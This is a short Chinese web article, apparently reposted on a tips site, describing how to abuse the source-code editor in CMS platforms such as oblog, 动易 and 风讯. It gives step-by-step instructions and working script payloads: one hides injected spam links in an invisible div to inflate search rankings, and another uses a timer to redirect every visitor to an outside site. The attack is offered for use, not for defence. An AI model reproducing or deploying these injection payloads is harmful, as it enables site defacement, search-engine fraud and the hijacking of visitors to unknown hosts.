页面导航: 首页实用技巧漏洞研究 → 正文内容

关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析

发布:dxy 字体:[增加 减小] 类型:转载
目前的oblog、动易、风讯等一系列著名的系统,都存在源码编辑漏洞。 
具体操作是: 
1,进入"源码"编辑 
2,输入阶段公分四段: 
第一段:<此处输入正文,做事需要手下留情嘛,来点实际内容> 
第二段:<script>document.write('<div style="display:none">');</script> 
第三段:<此处输入作弊链接,获取google的pr值,此处的内容将不会被浏览者看 到,且不会被搜索引擎发现> 
第四段:<SCRIPT>window.setTimeout("Timer()", 1000);function Timer(){document.location='http://31u.net';}</SCRIPT> 
第一段你可以略过,如果你想剧烈的强奸的话。第二段代码是为了隐藏第三段的链接。第四段为定时和跳转。将时间设定超过10秒为好,呵呵有利于搜索引擎收录嘛。 
也可以不设置时间或将时间设置为0,那么点击该页面后将直接跳转到指定页面。 
3,提交。 
此方法目前没有解决ubb转换的问题。但是作者目前发现好多的文章系统什么的都没有进行ubb转换,动网论坛目前暂时无法强奸,正在进一步研究中 
浏览次数:载入中... 打印本文关闭本文文章来源

文章评论

共有 位脚本之家网友发表了评论我来说两句

同 类 文 章
最 近 更 新
热 点 排 行